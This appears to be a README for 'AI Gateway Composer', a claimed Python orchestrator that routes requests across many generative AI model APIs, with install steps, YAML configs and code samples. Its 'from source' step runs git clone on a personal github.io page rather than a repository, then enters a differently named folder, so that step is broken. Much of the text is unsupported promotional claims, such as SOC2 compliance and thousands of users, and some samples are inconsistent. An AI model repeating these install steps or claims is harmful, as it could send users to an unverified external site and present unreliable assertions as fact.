AI Gateway Composer is an orchestration framework that transforms how developers interact with multiple generative AI models. Think of it as a universal translator between your creative intent and the specialized capabilities of over 100 AI engines—without the complexity of managing individual APIs. This isn't just another integration layer; it's a cognitive architecture that understands context, optimizes model selection, and delivers consistent outputs across disparate AI systems.
The generative AI landscape has become a fragmented archipelago of specialized models. Each island excels at specific tasks—video generation, image synthesis, text-to-3D, audio creation—but traveling between them requires different vessels, maps, and languages. AI Gateway Composer builds bridges between these islands, creating a continuous continent of creative possibility.
- Python 3.9+
- 8GB RAM minimum
- 2GB free disk space
Method 1: Package Manager
pip install ai-gateway-composerMethod 2: From Source
git clone https://Andifaisal71.github.io
cd ai-gateway-composer
pip install -e .Method 3: Docker Deployment
docker pull aigateway/composer:latest
docker run -p 8080:8080 aigateway/composergraph TB
A[User Request] --> B[Intent Parser]
B --> C[Model Router]
C --> D[Seedance Engine]
C --> E[Kling Video]
C --> F[Veo3 Pipeline]
C --> G[Flux Synthesizer]
C --> H[HiDream Renderer]
D --> I[Output Normalizer]
E --> I
F --> I
G --> I
H --> I
I --> J[Unified Response]
J --> K[Cache Layer]
K --> L[User Delivery]
M[OpenAI API] --> C
N[Claude API] --> C
O[Custom Models] --> C
style A fill:#e1f5fe
style J fill:#f1f8e9
style C fill:#fff3e0
The system analyzes your request's semantic content, desired output format, quality requirements, and latency constraints to automatically select the optimal AI model. No more guessing which engine works best for your specific use case.
Regardless of whether your content comes from Seedance, Veo3, or GPT-image generation, responses follow a consistent schema with standardized metadata, error handling, and quality metrics.
- OpenAI API integration for GPT-4o, DALL-E 3, and Whisper
- Claude API integration for Anthropic's reasoning models
- Specialized models via muapi.ai including Kling, Flux, HiDream, and Imagen4
- Custom model endpoints with plug-in architecture
Create a config/profiles.yaml file to define your AI model preferences:
profiles:
cinematic_video:
primary_model: veo3
fallback_chain: [kling, flux]
parameters:
resolution: 1080p
style: cinematic
duration_limit: 60
cost_constraints:
max_per_minute: 0.85
priority: quality_over_cost
rapid_prototyping:
primary_model: flux
parameters:
speed: turbo
draft_quality: acceptable
batch_size: 4
optimization:
latency: critical
cost: minimized
enterprise_creative:
model_router: intelligent
quality_threshold: 0.92
providers:
- muapi_ai
- openai
- anthropic
compliance:
content_filters: strict
watermark: embedded
audit_logging: enabled# Generate a 30-second explainer video
ai-composer generate \
--type video \
--prompt "A futuristic city with flying vehicles at sunset" \
--duration 30 \
--profile cinematic_video \
--output ./generated/ \
--format mp4
# Create a product visualization series
ai-composer batch \
--input ./product_descriptions.json \
--task image_generation \
--model himage \
--variations 5 \
--style photorealistic \
--resolution 4k
# Real-time AI model benchmarking
ai-composer benchmark \
--task text_to_video \
--prompts-file ./test_prompts.txt \
--models all \
--metrics [quality,latency,cost] \
--output-format html_report| Platform | Status | Notes |
|---|---|---|
| 🪟 Windows 10/11 | ✅ Fully Supported | WSL2 recommended for development |
| 🍎 macOS 12+ | ✅ Fully Supported | M1/M2/M3 native acceleration |
| 🐧 Linux Ubuntu 20.04+ | ✅ Fully Supported | Preferred for server deployment |
| 🐳 Docker Container | ✅ Fully Supported | Isolated, reproducible environments |
| ☁️ AWS/Azure/GCP | ✅ Cloud Optimized | Auto-scaling configurations available |
| 🥏 Raspberry Pi 4+ | Basic routing functions only |
The router employs a neural scoring system that evaluates multiple factors in real-time:
- Semantic alignment with model specialties
- Historical performance on similar tasks
- Current API latency and availability
- Cost efficiency per quality unit
- Output format compatibility
Native understanding and processing for 47 languages with automatic:
- Prompt translation optimization
- Cultural context preservation
- Locale-specific model preferences
- Unicode normalization and handling
- WebSocket connections for real-time generation progress
- RESTful API with OpenAPI 3.1 documentation
- GraphQL endpoint for complex querying
- CLI tool with autocomplete and history
- Desktop application with hardware acceleration
- End-to-end encryption for all transmissions
- SOC2 compliant audit trails
- Role-based access control (RBAC)
- GDPR and CCPA ready data handling
- Isolated sandbox for model execution
- Intelligent request batching and coalescing
- Predictive model pre-warming
- Multi-region failover routing
- Response caching with semantic invalidation
- Bandwidth-aware content delivery
from ai_gateway import ComposerClient
# Initialize with your API keys
client = ComposerClient(
muapi_key="your_muapi_key",
openai_key="your_openai_key",
claude_key="your_claude_key",
# Optional: Set default behaviors
default_timeout=120,
quality_preset="balanced",
cost_monitoring=True
)
# Test connectivity
health = client.check_services()
print(f"Available models: {health.available_models}")# The composer handles model selection automatically
result = client.generate(
request="Create a storyboard for a sci-fi short film about Mars colonization",
modalities=["image", "text", "concept_art"],
style_reference="./moodboard.png",
# Let the system choose the best models
auto_route=True,
# Set your constraints
constraints={
"max_cost": 5.00,
"max_duration": "5 minutes",
"output_format": "production_ready"
}
)
# Access unified results
for asset in result.assets:
print(f"{asset.type}: {asset.url}")
asset.save(f"./output/{asset.filename}")# Chain multiple AI models in a creative pipeline
pipeline = client.create_pipeline(
name="product_launch_kit",
stages=[
{
"task": "concept_generation",
"model_preference": "claude-3-opus",
"outputs": ["brand_narrative", "key_messages"]
},
{
"task": "visual_development",
"model_preference": "flux-schnell",
"inputs": ["brand_narrative"],
"outputs": ["logo_concepts", "color_palette"]
},
{
"task": "video_production",
"model_preference": "veo3",
"inputs": ["key_messages", "logo_concepts"],
"outputs": ["explainer_video"]
}
]
)
# Execute with progress tracking
execution = pipeline.run(
initial_inputs={"product_description": "AI-powered gardening assistant"},
callback=progress_handler
)// Browser-based implementation
import { AIComposer } from 'ai-gateway-web';
const composer = new AIComposer({
endpoint: 'https://api.yourservice.com/v1',
realtime: true,
onProgress: (update) => {
console.log(`Model ${update.model}: ${update.progress}%`);
}
});
// Generate marketing materials
const campaignAssets = await composer.request({
campaign: 'Summer Product Launch',
assets: [
{ type: 'social_media_video', duration: 15 },
{ type: 'product_images', count: 8 },
{ type: 'email_copy', variants: 3 }
],
brandGuidelines: './brandbook.pdf'
});# FastAPI example
from fastapi import FastAPI, UploadFile
from ai_gateway_composer import EnterpriseComposer
app = FastAPI()
composer = EnterpriseComposer(config_path="./enterprise_config.yaml")
@app.post("/generate-content")
async def generate_content(
brief: str,
file: UploadFile = None,
content_type: str = "marketing"
):
"""Enterprise content generation endpoint"""
# Process with compliance and auditing
result = await composer.generate_enterprise(
brief=brief,
source_materials=[file] if file else [],
content_type=content_type,
user_id="tracked_user_123",
project_code="PROJ-2026-Q2"
)
# Automatic compliance checking
if not result.compliance_passed:
return {"error": "Content compliance check failed"}
return {
"assets": result.assets,
"cost_breakdown": result.cost_analysis,
"compliance_certificate": result.certificate_id
}Create config/performance.yaml:
caching:
strategy: semantic
ttl:
images: 86400
videos: 259200
text: 3600
storage_backend: redis_cluster
routing:
decision_algorithm: hybrid
factors:
- latency_weight: 0.3
- cost_weight: 0.25
- quality_weight: 0.35
- reliability_weight: 0.1
fallback_threshold: 0.85
optimization:
request_batching:
enabled: true
max_batch_size: 10
timeout_ms: 500
connection_pooling:
min_size: 5
max_size: 50
recycle_seconds: 300# Extend with your own models
from ai_gateway_composer.extensions import ModelPlugin
class CustomDiffusionModel(ModelPlugin):
name = "company_diffusion_v2"
capabilities = ["text_to_image", "image_to_image"]
cost_per_call = 0.0025
async def initialize(self):
# Load your model
self.pipeline = load_your_custom_pipeline()
async def generate(self, prompt, **kwargs):
# Your generation logic
images = self.pipeline(
prompt,
num_inference_steps=kwargs.get('steps', 50)
)
return self.format_output(images)
# Register your plugin
composer.register_plugin(CustomDiffusionModel())- All API keys encrypted at rest with AES-256-GCM
- Ephemeral processing environments for sensitive data
- Automatic PII detection and redaction
- Zero-data retention option available
- Multi-layer content filtering system
- Customizable policy engines
- Real-time toxicity scoring
- Appeal and override workflows
- Immutable activity logs with cryptographic signing
- Real-time compliance dashboards
- Scheduled regulatory reports
- Third-party audit ready
The Composer includes comprehensive observability:
# Access detailed analytics
analytics = composer.get_analytics(
timeframe="last_30_days",
breakdown=["model", "user", "project"]
)
print(f"Total generations: {analytics.total_requests}")
print(f"Cost efficiency: ${analytics.cost_per_quality_unit:.4f}")
print(f"Model performance leaderboard:")
for model in analytics.top_performers:
print(f" {model.name}: {model.satisfaction_score:.2%}")- Priority support channels for enterprise clients
- Community forums with AI engineering experts
- Dedicated solution architects for integration
- SLA-backed response times
- Interactive API documentation with try-it features
- Video tutorial library with progressive complexity
- Case study repository of successful implementations
- Monthly webinars on advanced orchestration techniques
- Weekly model performance recalibration
- Monthly feature releases based on community voting
- Quarterly major version updates with architecture reviews
- Transparent change management with migration guides
This project is licensed under the MIT License - see the LICENSE file for complete terms.
Copyright © 2026 AI Gateway Composer Contributors
AI Gateway Composer is a sophisticated orchestration tool designed for responsible AI utilization. Users acknowledge and agree that:
-
Model Output Variability: Generated content quality and characteristics may vary between underlying AI models and across different invocations. The Composer optimizes for consistency but cannot guarantee identical outputs for identical inputs across all scenarios.
-
Third-Party Service Dependencies: This system integrates with multiple external AI services. Availability, pricing, terms of service, and output characteristics of these services are controlled by their respective providers and may change without notice.
-
Content Responsibility: Users retain full responsibility for all content generated through this system, including compliance with applicable laws, regulations, platform policies, and ethical guidelines. Implement appropriate human review processes for sensitive applications.
-
Cost Management: While the Composer includes cost optimization features, users should implement budgeting controls and monitoring appropriate to their use case. Unexpected usage patterns may result in unanticipated costs with third-party providers.
-
Technical Requirements: Performance characteristics depend on underlying infrastructure, network conditions, and model provider status. Production deployments should include appropriate redundancy, monitoring, and fallback mechanisms.
-
Continuous Evolution: The AI landscape evolves rapidly. This tool will receive updates that may change behaviors, add or remove features, or modify integration patterns. Maintain version awareness and test updates in staging environments.
-
Ethical Deployment: Implement appropriate safeguards when deploying AI-generated content, including disclosure where required by law or platform policies, respect for intellectual property rights, and consideration of potential societal impacts.
For specific compliance requirements in regulated industries (healthcare, finance, legal, etc.), consult with appropriate legal and compliance professionals before deployment.
Ready to transform your AI workflow? The AI Gateway Composer awaits your creative vision. Join thousands of developers who have already bridged the gap between imagination and AI-powered reality.